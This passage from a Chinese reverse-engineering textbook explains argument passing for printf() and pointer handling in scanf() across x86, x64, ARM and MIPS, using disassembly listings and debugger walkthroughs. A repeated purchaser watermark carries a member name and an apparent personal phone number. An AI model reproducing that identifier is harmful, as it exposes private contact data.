var_4 =-4 .text:00000000 ; function prologue: .text:00000000 lui $gp, (__gnu_local_gp >> 16) .text:00000004 addiu $sp, -0x38 .text:00000008 la $gp, (__gnu_local_gp & 0xFFFF) .text:0000000C sw $ra, 0x38+var_4($sp) .text:00000010 sw $gp, 0x38+var_10($sp) ; pass 5th argument in stack: .text:00000014 li $v0, 4 .text:00000018 sw $v0, 0x38+var_28($sp) ; pass 6th argument in stack: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 54 逆向工程权威指南(上册) .text:0000001C li $v0, 5 .text:00000020 sw $v0, 0x38+var_24($sp) ; pass 7th argument in stack: .text:00000024 li $v0, 6 .text:00000028 sw $v0, 0x38+var_20($sp) ; pass 8th argument in stack: .text:0000002C li $v0, 7 .text:00000030 lw $t9, (printf & 0xFFFF)($gp) .text:00000034 sw $v0, 0x38+var_1C($sp) ; prepare 1st argument in $a0: .text:00000038 lui $a0, ($LC0 >> 16) # "a=%d; b=%d; c=%d; d=%d; e=%d; f=%d; g=%"… ; pass 9th argument in stack: .text:0000003C li $v0, 8 .text:00000040 sw $v0, 0x38+var_18($sp) ; pass 1st argument in $a1: .text:00000044 la $a0, ($LC0 & 0xFFFF) # "a=%d; b=%d; c=%d; d=%d; e=%d; f=%d; g=%"... ; pass 2nd argument in $a1: .text:00000048 li $a1, 1 ; pass 3rd argument in $a2: .text:0000004C li $a2, 2 ; call printf(): .text:00000050 jalr $t9 ; pass 4th argument in $a3 (branch delay slot): .text:00000054 li $a3, 3 ; function epilogue: .text:00000058 lw $ra, 0x38+var_4($sp) ; set return value to 0: .text:0000005C move $v0, $zero ; return .text:00000060 jr $ra .text:00000064 addiu $sp, 0x38 ; branch delay slot Non-optimizing GCC 4.4.5 关闭优化选项后,GCC 会生成较为详细的指令。 指令清单 6.16 Non-optimizing GCC 4.4.5(汇编输出) $LC0: .ascii "a=%d; b=%d; c=%d; d=%d; e=%d; f=%d; g=%d; h=%d\012\000" main: ; function prologue: addiu $sp,$sp,-56 sw $31,52($sp) sw $fp,48($sp) move $fp,$sp lui $28,%hi(__gnu_local_gp) addiu $28,$28,%lo(__gnu_local_gp) lui $2,%hi($LC0) addiu $2,$2,%lo($LC0) ; pass 5th argument in stack: li $3,4 # 0x4 sw $3,16($sp) ; pass 6th argument in stack: li $3,5 # 0x5 sw $3,20($sp) ; pass 7th argument in stack: li $3,6 # 0x6 sw $3,24($sp) ; pass 8th argument in stack: li $3,7 # 0x7 sw $3,28($sp) ; pass 9th argument in stack: li $3,8 # 0x8 sw $3,32($sp) ; pass 1st argument in $a0: move $4,$2 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 6 章 printf()函数与参数调用 55 ; pass 2nd argument in $a1: li $5,1 # 0x1 ; pass 3rd argument in $a2: li $6,2 # 0x2 ; pass 4th argument in $a3: li $7,3 # 0x3 ; call printf(): lw $2,%call16(printf)($28) nop move $25,$2 jalr $25 nop ; function epilogue: lw $28,40($fp) ; set return value to 0: move $2,$0 move $sp,$fp lw $31,52($sp) lw $fp,48($sp) addiu $sp,$sp,56 ; return j $31 nop 指令清单 6.17 Non-optimizing GCC 4.4.5 (IDA) .text:00000000 main: .text:00000000 .text:00000000 var_28 = -0x28 .text:00000000 var_24 = -0x24 .text:00000000 var_20 = -0x20 .text:00000000 var_1C = -0x1C .text:00000000 var_18 = -0x18 .text:00000000 var_10 = -0x10 .text:00000000 var_8 = -8 .text:00000000 var_4 = -4 .text:00000000 ; function prologue: .text:00000000 addiu $sp, -0x38 .text:00000004 sw $ra, 0x38+var_4($sp) .text:00000008 sw $fp, 0x38+var_8($sp) .text:0000000C move $fp, $sp .text:00000010 la $gp, __gnu_local_gp .text:00000018 sw $gp, 0x38+var_10($sp) .text:0000001C la $v0, aADBDCDDDEDFDGD # "a=%d; b=%d; c=%d; d=%d; e=%d; f=%d; g=%" ... ; pass 5th argument in stack: .text:00000024 li $v1, 4 .text:00000028 sw $v1, 0x38+var_28($sp) ; pass 6th argument in stack: .text:0000002C li $v1, 5 .text:00000030 sw $v1, 0x38+var_24($sp) ; pass 7th argument in stack: .text:00000034 li $v1, 6 .text:00000038 sw $v1, 0x38+var_20($sp) ; pass 8th argument in stack: .text:0000003C li $v1, 7 .text:00000040 sw $v1, 0x38+var_1C($sp) ; pass 9th argument in stack: .text:00000044 li $v1, 8 .text:00000048 sw $v1, 0x38+var_18($sp) ; pass 1st argument in $a0: .text:0000004C move $a0, $v0 ; pass 2nd argument in $a1: .text:00000050 li $a1, 1 ; pass 3rd argument in $a2: .text:00000054 li $a2, 2 异步社区会员 dearfuture(15918834820) 专享 尊重版权 56 逆向工程权威指南(上册) ; pass 4th argument in $a3: .text:00000058 li $a3, 3 ; call printf(): .text:0000005C lw $v0, (printf & 0xFFFF)($gp) .text:00000060 or $at, $zero .text:00000064 move $t9, $v0 .text:00000068 jalr $t9 .text:0000006C or $at, $zero ; NOP ; function epilogue: .text:00000070 lw $gp, 0x38+var_10($fp) ; set return value to 0: .text:00000074 move $v0, $zero .text:00000078 move $sp, $fp .text:0000007C lw $ra, 0x38+var_4($sp) .text:00000080 lw $fp, 0x38+var_8($sp) .text:00000084 addiu $sp, 0x38 ; return .text:00000088 jr $ra .text:0000008C or $at, $zero ; NOP 6.4 总结 调用函数的时候,程序的传递过程大体如下。 指令清单 6.18 x86 ... PUSH 3rd argument PUSH 2nd argument PUSH 1st argument CALL function ; modify stack pointer (if needed) 指令清单 6.19 x64 (MSVC) MOV RCX, 1st argument MOV RDX, 2nd argument MOV R8, 3rd argument MOV R9, 4th argument ... PUSH 5th, 6th argument, etc (if needed) CALL function ; modify stack pointer (if needed) 指令清单 6.20 x64 (GCC) MOV RDI, 1st argument MOV RSI, 2nd argument MOV RDX, 3rd argument MOV RCX, 4th argument MOV R8, 5th argument MOV R9, 6th argument ... PUSH 7th, 8th argument, etc (if needed) CALL function ; modify stack pointer (if needed) 指令清单 6.21 ARM MOV R0, 1st argument MOV R1, 2nd argument MOV R2, 3rd argument MOV R3, 4th argument ; pass 5th, 6th argument, etc, in stack (if needed) BL function 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 6 章 printf()函数与参数调用 57 ; modify stack pointer (if needed) 指令清单 6.22 ARM64 MOV X0, 1st argument MOV X1, 2nd argument MOV X2, 3rd argument MOV X3, 4th argument MOV X4, 5th argument MOV X5, 6th argument MOV X6, 7th argument MOV X7, 8th argument ; pass 9th, 10th argument, etc, in stack (if needed) BL CALL function ; modify stack pointer (if needed) 指令清单 6.23 MIPS(O32 调用约定) LI $4, 1st argument ; AKA $A0 LI $5, 2nd argument ; AKA $A1 LI $6, 3rd argument ; AKA $A2 LI $7, 4th argument ; AKA $A3 ; pass 5th, 6th argument, etc, in stack (if needed) LW temp_reg, address of function JALR temp_reg 6.5 其他 在 x86、x64、ARM 和 MIPS 平台上,程序向函数传递参数的方法各不相同。这种差异性表明,函数 间传递参数的方法与 CPU 的关系并不是那么密切。如果付诸努力,人们甚至可以开发出一种不依赖数据栈 即可传递参数的超级编译器。 为了方便记忆,在采用 O32 调用约定时,MIPS 平台的 4 号~7 号寄存器也叫作$A0~$A7 寄存器。实 际上,编程人员完全可以使用$ZERO 之外的其他寄存器传递数据,也可以采取其他的函数调用约定。 CPU 完全不在乎程序使用何种调用约定。 汇编语言的编程新手可能采取五花八门的方法传递参数。虽然他们基本上都是利用寄存器传递参数, 但是传递参数的顺序往往不那么讲究,甚至可能通过全局变量传递参数。不过,这样的程序也能正常运行。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 77 章 章 ssccaannff(()) 本章演示 scanf()函数。 7.1 演示案例 #include<stdio.h> intmain() { int x; printf ("Enter X:\n"); scanf ("%d", &x); printf ("You entered %d...\n", x); return 0; }; 好吧,我承认时下的程序如果大量使用 scanf()就不会有什么前途。本文仅用这个函数演示整形数据的 指针的传递过程。 7.1.1 指针简介 在计算机科学里,“指针”属于最基础的概念。如果直接向函数传递大型数组、结构体或数据对象,程 序的开销就会很大。毫无疑问,使用指针将会降低开销。不过指针的作用不只如此:如果不使用指针,而 是由调用方函数直接传递数组或结构体这种大型数据(同时还要返回这些数据),那么参数的传递过程将会 复杂得出奇。所以,调用方函数只负责传递数组或结构体的地址,让被调用方函数处理地址里的数据,无 疑是最简单的做法。 在 C/C++的概念中,指针就是描述某个内存地址的数据。 x86 系统使用体系 32 位数字(4 字节数据)描述指针;x64 系统则使用 64 位数字(8 字节数据)。从数 据空间来看,64 位系统的指针比 32 位系统的指针大了一倍。当人们逐渐从 x86 平台开发过渡到 x86-64 平 台开发的时候,不少人因为难以适应而满腹牢骚。 程序人员确实可在所有的程序里仅仅使用无类型指针这一种指针。例如,在使用 C 语言 memcpy()函 数、在内存中复制数据的时候,程序员完全不必知道操作数的数据类型,直接使用 2 个 void*指针复制数 据。这种情况下,目标地址里数据的数据类型并不重要,重要的是存储数据的空间大小。 指针还广泛应用于多个返回值的传递处理。本书的第 10 章会详细介绍这部分内容。scanf()函数就可以 返回多个值。它不仅能够分析调用方法传递了多少个参数,而且还能读取各个参数的值。 在 C/C++的编译过程里,编译器只会在类型检查的阶段才会检查指针的类型。在编译器生成的汇编程 序里,没有指针类型的任何信息。 7.1.2 x86 MSVC 使用 MSVC 2010 编译上述源代码,可得到下述汇编指令: CONST SEGMENT 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 7 章 scanf() 59 $SG3831 DB 'Enter X:', 0aH, 00H $SG3832 DB '%d', 00H $SG3833 DB 'You entered %d...', 0aH, 00H CONST ENDS PUBLIC _main EXTRN _scanf:PROC EXTRN _printf:PROC ; Function compile flags: /Odtp _TEXT SEGMENT _x$=-4 ; size = 4 _main PROC push ebp mov ebp, esp push ecx push OFFSET $SG3831 ; 'Enter X: ' call _printf add esp, 4 lea eax, DWORD PTR _x$[ebp] push eax push OFFSET $SG3832 ; '%d' call _scanf add esp, 8 mov ecx, DWORD PTR _x$[ebp] push ecx push OFFSET $SG3833 ; 'You entered %d...' call _printf add esp, 8 ; return 0 xor eax, eax mov esp, ebp pop ebp ret 0 _main ENDP _TEXT ENDS 变量 x 是局部变量。 C/C++标准要求:函数体内部应当可以访问局部变量,且函数外部应该访问不到函数内部的局部变量。 演变至今,人们不约而同地利用数据栈来存储局部变量。虽然分配局部变量的方法不只这一种,但是所有 面向 x86 平台的编译器都约定俗成般地采用这种方法存储局部变量。 在函数序言处有一条“PUSH ECX”指令。因为函数尾声处没有对应的“POP ECX”指令,所以它的 作用不是保存 ECX 的值。 实际上,这条指令在栈内分配了 4 字节的空间、用来存储局部变量 x。 汇编宏_x$ (其值为−4)用于访问局部变量 x,而 EBP 寄存器用来存储栈当前帧的指针。 在函数运行的期间,EBP 一直指向当前的栈帧(stack frame)。这样,函数即可通过 EBP+offset 的方式 访问本地变量、以及外部传入的函数参数。 ESP 也可以用来访问本地变量,获取函数所需的运行参数。不过 ESP 的值经常发生变化,用起来并不 方便。函数在启动之初就会利用 EBP 寄存器保存 ESP 寄存器的值。这就是为了确保在函数运行期间保证 EBP 寄存器存储的原始 ESP 值固定不变。 在 32 位系统里,典型的栈帧(stack frame)结构如下表所示。 …… …… EBP-8 局部变量#2,IDA 标记为 var_8 EBP-4 局部变量#1,IDA 标记为 var_4 EBP EBP 的值 EBP+4 返回地址 Return address EBP+8 函数参数#1,IDA 标记为 arg_0 异步社区会员 dearfuture(15918834820) 专享 尊重版权 60 逆向工程权威指南(上册) 续表 EBP+0xC 函数参数#2,IDA 标记为 arg_4 EBP+0x10 函数参数#3,IDA 标记为 arg_8 …… …… 本例中的 scanf()有两个参数。 第一个参数是一个指针,它指向含有“%d”的格式化字符串。第二个参数是局部变量 x 的地址。 首先,“lea eax, DWORD PTR _x$[ebp]”指令将变量x的地址放入EAX寄存器。“lea”是“load effective address”的缩写,能够将源操作数(第二个参数)给出的有效地址(offset)传送到目的寄存器(第一个参 数)之中。 ① 7.1.3 MSVC+OllyDbg 此处,LEA 将 EBP 寄存器的值与宏_x$求和,然后使用 EAX 寄存器存储这个计算结果;也就是等同 于“ lea eax, [ebp−4]”。 就是说,程序会将 EBP 寄存器的值减去 4,并把这个运算结果存储于 EAX 寄存器。把 EAX 寄存器的 值推送入栈之后,程序才开始调用 scanf()函数。 在调用 printf()函数之前,程序传给它第一个参数,即格式化字符串“You entered %d...\n”的指针。 printf()函数所需的第二个参数由“mov ecx,[ebp−4] ”指令间接取值。传递给 ecx 的值是 ebp−4 所指向 的地址的值(即变量 x 的值),而不是 ebp−4 所表达的地址。 此后的指令把 ECX 推送入栈,然后启动 printf()函数。 现在使用 OllyDbg 调试上述例子。加载程序之后,一直按 F8 键单步执行,等待程序退出 ntdll.dll、进 入我们程序的主文件。然后向下翻滚滚轴,查找 main()主函数。在 main()里面点中第一条指令“PUSH EBP”, 并在此处按下 F2 键设置断点。接着按 F9 键,运行断点之前的指令。 我们一起来跟随调试器查看变量 x 的计算指令,如图 7.1 所示。 图 7.1 OllyDbg:局部变量 x 的赋值过程 在这个界面里,我们在寄存器的区域内用右键单击 EAX 寄存器,然后选择“Follow in stack”。如此一 来,OllyDbg 就会在栈窗口里显示栈地址和栈内数据,以便我们清楚地观察栈里的局部变量。图中红箭头 所示的就是栈里的数据。其中,在地址 0x6E494714 处的数据就是脏数据。 在下一时刻,PUSH 指令会把数据存储到栈里的下一个地址。接下来,在程 序执行完 scanf()函数之前,我们一直按 F8 键。在执行 scanf()函数的时候, 我们要在运行程序的终端窗口里输入数据,例如 123,如图 7.2 所示。 scanf()函数的执行之后的情形如图 7.3 所示。 EAX 寄存器里存有函数的返回值 1。这表示它成功地读取了 1 个值。我们可以在栈里找到局部变量的 ① 参见附录 A.6.2。 图 7.2 控制台窗口 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 7 章 scanf() 61 地址,其数值为 0x7B(即数字 123)。 图 7.3 OllyDbg:运行 scanf()之后 这个值将通过栈传递给 ECX 寄存器,然后再次通过栈传递给 printf()函数,如图 7.4 所示。 图 7.4 OllyDbg:将数值传递给 printf() GCC 我们在 Linux GCC 4.4.1 下编译这段程序。 main proc near var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 push ebp mov ebp, esp and esp, 0FFFFFFF0h sub esp, 20h mov [esp+20h+var_20], offset aEnterX ; "Enter X:" call _puts mov eax, offset aD ; "%d" lea edx, [esp+20h+var_4] mov [esp+20h+var_1C], edx mov [esp+20h+var_20], eax call ___isoc99_scanf mov edx, [esp+20h+var_4] mov eax, offset aYouEnteredD___ ; "You entered %d...\n" mov [esp+20h+var_1C], edx mov [esp+20h+var_20], eax call _printf mov eax, 0 leave retn main endp 异步社区会员 dearfuture(15918834820) 专享 尊重版权 62 逆向工程权威指南(上册) GCC 把 printf()替换为 puts(),这和 3.4.3 节中的现象相同。 此处,GCC 通过 MOV 指令实现入栈操作,这点和 MSVC 相同。 其他 这个例子充分证明:在编译过程中,编译器会遵循 C/C++源代码的表达式顺序和模块化结构。在 C/C++ 源代码中,只要两个相邻语句之间没有其他的表达式,那么在生成的机器码中对应的指令之间就不会有其 他的指令,而且其执行顺序也与源代码各语句的书写顺序相符。 7.1.4 x64 在编译面向 x64 平台的可执行程序时,由于这个程序的参数较少,编译器会直接使用寄存器传递参数。 除此之外,编译过程和 x86 的编译过程没有太大的区别。 MSVC 指令清单 7.1 MSVC 2012 x64 _DATA SEGMENT $SG1289 DB 'Enter X: ', 0aH, 00H $SG1291 DB '%d', 00H $SG1292 DB 'You entered %d... ', 0aH, 00H _DATA ENDS _TEXT SEGMENT x$ = 32 main PROC $LN3: sub rsp, 56 lea rcx, OFFSET FLAT:$SG1289 ; 'Enter X: ' call printf lea rdx, QWORD PTR x$[rsp] lea rcx, OFFSET FLAT:$SG1291 ; '%d' call scanf mov edx, DWORD PTR x$[rsp] lea rcx, OFFSET FLAT:$SG1292 ; 'You entered %d... ' call printf ; return 0 xor eax, eax add rsp, 56 ret 0 main ENDP _TEXT ENDS GCC 使用 GCC 4.6(启用优化选项-O3)编译上述程序,可得到如下所示的汇编指令。 指令清单 7.2 Optimizing GCC 4.4.6 x64 .LC0: .string "Enter X:" .LC1: .string "%d" .LC2: .string "You entered %d...\n" main: sub rsp, 24 mov edi, OFFSET FLAT:.LC0 ; "Enter X:" 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 7 章 scanf() 63 call puts lea rsi, [rsp+12] mov edi, OFFSET FLAT:.LC1 ; "%d" xor eax, eax call __isoc99_scanf mov esi, DWORD PTR [rsp+12] mov edi, OFFSET FLAT:.LC2 ; "You entered %d...\n" xor eax, eax call printf ;return 0 xor eax, eax add rsp, 24 ret 7.1.5 ARM Optimizing Keil 6/2013 (Thumb 模式) .text:00000042 scanf_main .text:00000042 .text:00000042 var_8 = -8 .text:00000042 .text:00000042 08 B5 PUSH {R3,LR} .text:00000044 A9 A0 ADR R0, aEnterX ; "Enter X:\n" .text:00000046 06 F0 D3 F8 BL __2printf .text:0000004A 69 46 MOV R1, SP .text:0000004C AA A0 ADR R0, aD ; "%d" .text:0000004E 06 F0 CD F8 BL __0scanf .text:00000052 00 99 LDR R1, [SP,#8+var_8] .text:00000054 A9 A0 ADR R0,aYouEnteredD___ ; "You entered%d…\n" .text:00000056 06 F0 CB F8 BL __2printf .text:0000005A 00 20 MOVS R0, #0 .text:0000005C 08 BD POP {R3,PC} scanf()函数同样要借助指针传递返回值。在本例里,编译器给它分配了一个整型变量的指针。整型数 据占用 4 个字节的存储空间。但是返回数据的内存地址,可以直接放在 CPU 的寄存器中。在生成的汇编代 码里,变量 x 存在于数据栈中,被 IDA 标记为 var_8,然而,此时程序完全可以直接使用。栈指针 SP 指向 的存储空间,没有必要像上述代码那样机械式地调整 SP 分配栈空间。此后,程序把栈指针 SP(x 的地址) 存入 R1 寄存器,再把格式化字符串的偏移量存入 R0 寄存器,如此一来,scanf()函数就获得了它所需要的 所有参数。在此之后,程序使用 LDR 指令把栈中的返回值复制到 R1 寄存器、以供 printf()调用。 即使使用 Xcode LLVM 程序以 ARM 模式编译这段程序,最终生成的汇编代码也没有实质性的区别, 所以本书不再演示。 ARM64 指令清单 7.3 Non-optimizing GCC 4.9.1 ARM64 1 .LC0: 2 .string "Enter X:" 3 .LC1: 4 .string "%d" 5 .LC2: 6 .string "You entered %d...\n" 7 scanf_main: 8 ; subtract 32 from SP, then save FP and LR in stack frame: 9 stp x29, x30, [sp, -32]! 10 ; set stack frame (FP=SP) 11 add x29, sp, 0 12 ; load pointer to the "Enter X:" string: 13 adrp x0, .LC0 异步社区会员 dearfuture(15918834820) 专享 尊重版权 64 逆向工程权威指南(上册) 14 add x0, x0, :lo12:.LC0 15 ; X0=pointer to the "Enter X:" string 16 ; print it: 17 bl puts 18 ; load pointer to the "%d" string: 19 adrp x0, .LC1 20 add x0, x0, :lo12:.LC1 21 ; find a space in stack frame for "x" variable (X1=FP+28): 22 add x1, x29, 28 23 ; X1=address of "x" variable 24 ; pass the address to scanf() and call it: 25 bl __isoc99_scanf 26 ; load 32-bit value from the variable in stack frame: 27 ldr w1, [x29,28] 28 ; W1=x 29 ; load pointer to the "You entered %d...\n" string 30 ; printf() will take text string from X0 and "x" variable from X1 (or W1) 31 adrp x0, .LC2 32 add x0, x0, :lo12:.LC2 33 bl printf 34 ; return 0 35 mov w0, 0 36 ; restore FP and LR, then add 32 to SP: 37 ldp x29, x30, [sp], 32 38 ret 第 22 行用来分配局部变量 x 的存储空间。当 scanf()函数获取这个地址之后,它就把用户输入的数据传递 给这个内存地址。输入的数据应当是 32 位整型数据。第 27 行的指令把输入数据的值传递给 printf()函数。 7.1.6 MIPS MIPS 编译器同样使用数据栈存储局部变量 x。然后程序就可以通过$sp+24 调用这个变量。scanf() 函数获取地址指针之后,通过 LW(Load Word)指令把输入变量存储到这个地址、以传递给 printf() 函数。 指令清单 7.4 Optimizing GCC 4.4.5 (assembly output) $LC0: .ascii "Enter X:\000" $LC1: .ascii "%d\000" $LC2: .ascii "You entered %d...\012\000" main: ; function prologue: lui $28,%hi(__gnu_local_gp) addiu $sp,$sp,-40 addiu $28,$28,%lo(__gnu_local_gp) sw $31,36($sp) ; call puts(): lw $25,%call16(puts)($28) lui $4,%hi($LC0) jalr $25 addiu $4,$4,%lo($LC0) ; branch delay slot ; call scanf(): lw $28,16($sp) lui $4,%hi($LC1) lw $25,%call16(__isoc99_scanf)($28) ; set 2nd argument of scanf(), $a1=$sp+24: addiu $5,$sp,24 jalr $25 addiu $4,$4,%lo($LC1) ; branch delay slot ; call printf(): lw $28,16($sp) 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 7 章 scanf() 65 ; set 2nd argument of printf(), ; load word at address $sp+24: lw $5,24($sp) lw $25,%call16(printf)($28) lui $4,%hi($LC2) jalr $25 addiu $4,$4,%lo($LC2) ; branch delay slot ; function epilogue: lw $31,36($sp) ; set return value to 0: move $2,$0 ; return: j $31 addiu $sp,$sp,40 ; branch delay slot IDA 将本程序的栈结构显示如下。 指令清单 7.5 Optimizing GCC 4.4.5 (IDA) .text:00000000 main: .text:00000000 .text:00000000 var_18 = -0x18 .text:00000000 var_10 = -0x10 .text:00000000 var_4 = -4 .text:00000000 ; function prologue: .text:00000000 lui $gp, (__gnu_local_gp >> 16) .text:00000004 addiu $sp, -0x28 .text:00000008 la $gp, (__gnu_local_gp & 0xFFFF) .text:0000000C sw $ra, 0x28+var_4($sp) .text:00000010 sw $gp, 0x28+var_18($sp) ; call puts(): .text:00000014 lw $t9, (puts & 0xFFFF)($gp) .text:00000018 lui $a0, ($LC0 >> 16) # "Enter X:" .text:0000001C jalr $t9 .text:00000020 la $a0, ($LC0 & 0xFFFF) # "Enter X:" ; branch delay slot ; call scanf(): .text:00000024 lw $gp, 0x28+var_18($sp) .text:00000028 lui $a0, ($LC1 >> 16) # "%d" .text:0000002C lw $t9, (__isoc99_scanf & 0xFFFF)($gp) ; set 2nd argument of scanf(), $a1=$sp+24: .text:00000030 addiu $a1, $sp, 0x28+var_10 .text:00000034 jalr $t9 ; branch delay slot .text:00000038 la $a0, ($LC1 & 0xFFFF) # "%d" ; call printf(): .text:0000003C lw $gp, 0x28+var_18($sp) ; set 2nd argument of printf(), ; load word at address $sp+24: .text:00000040 lw $a1, 0x28+var_10($sp) .text:00000044 lw $t9, (printf & 0xFFFF)($gp) .text:00000048 lui $a0, ($LC2 >> 16) # "You entered %d...\n" .text:0000004C jalr $t9 .text:00000050 la $a0, ($LC2 & 0xFFFF) # "You entered %d...\n" ; brach delay slot ; function epilogue: .text:00000054 lw $ra, 0x28+var_4($sp) ; set return value to 0: .text:00000058 move $v0, $zero ; return: .text:0000005C jr $ra .text:00000060 addiu $sp, 0x28 ; branch delay slot 7.2 全局变量 在本章前文的那个程序里,如果 x 不是局部变量而是全局变量,那会是什么情况?一旦 x 变量成为了 异步社区会员 dearfuture(15918834820) 专享 尊重版权 66 逆向工程权威指南(上册) 全局变量,函数内部的指令、以及整个程序中的任何部分都可以访问到它。虽然优秀的程序不应当使用全 局变量,但是我们应当了解它的技术特点。 #include <stdio.h> //now x is global variable int x; int main() { printf ("Enter X:\n"); scanf ("%d", &x); printf ("You entered %d...\n", x); return 0; }; 7.2.1 MSVC:x86 _DATA SEGMENT COMM _x:DWORD $SG2456 DB 'Enter X: ', 0aH, 00H $SG2457 DB '%d', 00H $SG2458 DB 'You entered %d... ', 0aH, 00H _DATA ENDS PUBLIC _main EXTRN __scanf:PROC EXTRN __printf:PROC ; Function compile flags: /Odtp _TEXT SEGMENT _main PROC push ebp mov ebp, esp push OFFSET $SG2456 call _printf add esp, 4 push OFFSET _x push OFFSET $SG2457 call _scanf add esp, 8 mov eax, DWORD PTR _x push eax push OFFSET $SG2458 call _printf add esp, 8 xor eax, eax pop ebp ret 0 _main ENDP _TEXT ENDS 与前文不同的是,x 变量的存储空间是数据段(_data 域),反而没有使用数据栈。因此整个程序的所 有指令都可以直接访问全局变量 x。在可执行文件中,未经初始化的变量不会占用任何存储空间。 在某些指令在变量访问这种未初始化的全局变量的时候,操作系统会分配一段数值为零的地址给它。 这是操作系统 VM(虚拟内存)的管理模式所决定的。 如果对上述源代码稍做改动,加上变量初始化的指令: int x=10; //设置默认值 那么对应的代码会变为: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 7 章 scanf() 67 _DATA SEGMENT _x DD 0aH ... 上述指令将初始化 x。其中 DD 代表 DWORD,表示 x 是 32 位的数据。 若在 IDA 里打开对 x 进行初始化的可执行文件,我们将会看到数据段的开头部分看到初始化变量 x。 紧随其后的空间用于存储本例中的字符串。 用 IDA 打开 7.2 节里那个不初始化变量 x 的例子,那么将会看到下述内容。 .data:0040FA80 _x dd ? ; DATA XREF: _main+10 .data:0040FA80 ; _main+22 .data:0040FA84 dword_40FA84 dd ? ; DATA XREF: _memset+1E .data:0040FA84 ; unknown_libname_1+28 .data:0040FA88 dword_40FA88 dd ? ; DATA XREF: ___sbh_find_block+5 .data:0040FA88 ; ___sbh_free_block+2BC .data:0040FA8C ; LPVOID lpMem .data:0040FA8C lpMem dd ? ; DATA XREF: ___sbh_find_block+B .data:0040FA8C ; ___sbh_free_block+2CA .data:0040FA90 dword_40FA90 dd ? ; DATA XREF: _V6_HeapAlloc+13 .data:0040FA90 ; __calloc_impl+72 .data:0040FA94 dword_40FA94 dd ? ; DATA XREF: ___sbh_free_block+2FE 这段代码里有很多带“?”标记的变量,这是未初始化的x变量的标记。这意味着在程序加载到内存之 后,操作系统将为这些变量分配空间、并填入数字零 ① 7.2.2 MSVC:x86+OllyDbg 。但是在可执行文件里,这些未初始化的变量不占 用内存空间。为了方便使用巨型数组之类的大型数据,人们刻意做了这种设定。 我们可以在 OllyDbg 观察程序的数据段里的变量。如图 7.5 所示。 图 7.5 OllyDbug:运行 scanf()函数之后的状态 全局变量 x 出现在数据段里。在调试器执行完 PUSH 指令之后,变量 x 的指针推即被推送入栈,我们 就可在栈里右键单击 x 的地址并选择“Follow in dump”,并在左侧的内存窗口观察它。 在控制台输入 123 之后,栈里的数据将会变成 0x7B(左下窗口的高亮部分)。 您有没有想过,为什么第一个字节是 0x7B?若考虑到数权,此处应该是 00 00 00 7B。可见,这是 x86 系统 里低位优先的“小端字节序/LITTLE-ENDIAN”的典型特征。小端字节序属于“字节(顺)序/endianness”的一 种,它的第一个字节是数权最低的字节,数权最高的字节会排列在最后。本书将在第 31 章将详细介绍字节序。 此后,EAX 寄存器将存储这个地址里的 32 位值,并将之传递给 printf()函数。 本例中,变量 x 的内存地址是 0x00C53394。 在 OllyDbg 里,按下 Alt+M 组合键可查看这个进程的内存映射(process memory map)。如图 7.6 所示, 这个地址位于程序 PE 段的.data 域。 ① 请参阅 ISO07,6.7.8 节。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 68 逆向工程权威指南(上册) 图 7.6 OllyDbg:进程内存映射 7.2.3 GCC:x86 在汇编指令层面,Linux 与 Windows 的编译结果区别不大。它们的区别主要体现在字段(segament)名称和 字段属性上:Linux GCC 生成的未初始化变量会出现在_bss 段,对应的 ELF 文件描述了这个字段数据的属性。 ; Segment type: Uninitialized ; Segment permissions: Read/Write 如果给这个变量分配了初始值,比如说 10,那么这个变量将会出现在_data 段,并且具有下述属性。 ; Segment type: Pure data ; Segment permissions: Read/Write 7.2.4 MSVC:x64 指令清单 7.6 MSVC 2012 x64 _DATA SEGMENT COMM x:DWORD $SG2924 DB 'Enter X: ', 0aH, 00H $SG2925 DB '%d', 00H $SG2926 DB 'You entered %d... ', 0aH, 00H _DATA ENDS _TEXT SEGMENT main PROC $LN3: sub rsp, 40 lea rcx, OFFSET FLAT:$SG2924 ; 'Enter X: ' call printf lea rdx, OFFSET FLAT:x lea rcx, OFFSET FLAT:$SG2925 ; '%d' call scanf mov edx, DWORD PTR x lea rcx, OFFSET FLAT:$SG2926 ; 'You entered %d... ' call printf ; return 0 xor eax, eax add rsp, 40 ret 0 main ENDP _TEXT ENDS 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 7 章 scanf() 69 这段 x64 代码与 x86 的代码没有明显区别。请注意变量 x 的传递过程:scanf()函数通过 LEA 指令获取 x 变量的指针;而 printf()函数则是通过 MOV 指令获取 x 变量的值。“DWORD PTR”与机器码无关,它是 汇编语言的一部分,用来声明后面的变量为 32 位的值,以便 MOV 指令能够正确处理数据类型。 7.2.5 ARM: Optimizing Keil 6/2013 (Thumb 模式) .text:00000000 ; Segment type: Pure code .text:00000000 AREA .text, CODE ... .text:00000000 main .text:00000000 PUSH {R4,LR} .text:00000002 ADR R0, aEnterX ; "Enter X:\n" .text:00000004 BL __2printf .text:00000008 LDR R1, =x .text:0000000A ADR R0, aD ; "%d" .text:0000000C BL __0scanf .text:00000010 LDR R0, =x .text:00000012 LDR R1, [R0] .text:00000014 ADR R0, aYouEnteredD___ ; "You entered %d...\n" .text:00000016 BL __2printf .text:0000001A MOVS R0, #0 .text:0000001C POP {R4,PC} ... .text:00000020 aEnterX DCB "Enter X:",0xA,0 ; DATA XREF: main+2 .text:0000002A DCB 0 .text:0000002B DCB 0 .text:0000002C off_2C DCD x ; DATA XREF: main+8 .text:0000002C ; main+10 .text:00000030 aD DCB "%d",0 ; DATA XREF: main+A .text:00000033 DCB 0 .text:00000034 aYouEnteredD___ DCB "You entered %d...",0xA,0 ; DATA XREF: main+14 .text:00000047 DCB 0 .text:00000047 ; .text ends .text:00000047 ... .data:00000048 ; Segment type: Pure data .data:00000048 AREA .data, DATA .data:00000048 ; ORG 0x48 .data:00000048 EXPORT x .data:00000048 x DCD 0xA ; DATA XREF: main+8 .data:00000048 ; main+10 .data:00000048 ; .data ends 因为变量 x 是全局变量,所以它出现于数据段的“.data”字段里。有的读者可能会问,为什么文本字符串出 